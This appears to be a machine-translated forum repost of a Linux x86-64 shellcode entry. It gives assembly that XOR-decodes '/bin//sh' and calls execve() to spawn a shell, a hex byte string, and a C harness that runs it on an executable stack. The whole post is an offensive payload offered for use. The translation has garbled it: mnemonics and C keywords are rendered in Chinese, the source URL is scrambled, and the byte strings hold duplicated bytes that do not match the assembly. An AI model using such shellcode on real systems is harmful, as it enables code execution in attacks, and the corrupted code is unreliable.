H

( shellCode)linux -x64-使用execve()使用XOR(/bin //sh)发送参数[55字节]

HackApt-37 Team已验证会员

黑客倉庫站長

贡献: 83%
#利用title: linux -x64-使用XOR(/bin //sh)[55 bytes]创建execve()发送参数的shell [55 byts]
#shellCode作者: Alexys(0x177git)
#测试在: Linux(x86_64)
#shellCode Description:使用execve()SYSCALL发送bin //sh作为参数|创建一个新过程| (使用XOR操作进行加密为QWord size(/bin - //sh))
#博客post: @morerubyofsec(https://t.me/morerubyofsec)在电报上
#原始代码:
[https://github.com/0x177git/XOR-ECR...COM/0x177git/xor-corrypted-execve-execve-shre sh/blob/blob/main/main/execve-execve-execve-execve-xor-xor-corve-xor-corve-xor-corve-corve-execve-xor-cormypted-anggv.asm)
---组装代码---
部分.TEXT
全局_start
_start:
Xor Eax,Eax
Xor EDX,EDX; clear rdx(execve()Protoype上的argv)
MOV QWORD [RSP-32],0x7466684b;
MOV QWORD [RSP-28],0x60650b1d;加密(/bin //sh)0x60,0x65,0xb,0x1d,0x74,0x66,0x68,0x68,0x4b
XOR QWORD [RSP-32],0x1A0F0A64
XOR QWORD [RSP-28],0x08162432; PassWD0x8,0x16,0x24,0x32,0x1a,0xf,0xa,0xa,0x64
lea rdi,[RSP-32]
推rax;字符串的结尾
推rdi;将字符串发送到堆栈
MOV RSI,RSP;将RSP的地址发送到RSI-(在Linux Syscall架构对流上的ARG)||执行(RSI,RDX)
;致电execve()
Mov Al,0x3b
Syscall
-
---使用C中的堆栈执行ShellCode(shellCode)
gcc -z execstack shellcode.c -o shellcode
)------
/*
'\ x48 \ x31 \ xd2 \ x52 \ x48 \ xb8 \ x2f \ x62 \ x62 \ x69 \ x6e \ x6e \ x2f \ x2f \ x2f \ x73 \ x68 \ x68 \ x 50 \ x48 \ x89 \ xe7 \ x52 \ x57 \ x48 \ x89 \ x89 \ xe6 \ x31 \ x31 \ xc0 \ xb0 \ xb0 \ x3b \ x3b \ x0f \ x05'
;
*/
空白
主要的
()
{
const
char
外壳
[]
=
'\ x48 \ x31 \ xd2 \ x52 \ x48 \ xb8 \ x2f \ x62 \ x62 \ x69 \ x6e \ x6e \ x2f \ x2f \ x2f \ x73 \ x68 \ x68 \ x 50 \ x48 \ x89 \ xe7 \ x52 \ x57 \ x48 \ x89 \ x89 \ xe6 \ x31 \ x31 \ xc0 \ xb0 \ xb0 \ x3b \ x3b \ x0f \ x05'
;
空白
((
*
f
)))
=
((
空白
((
*
)())
外壳
;
f
();
}
 
后退
顶部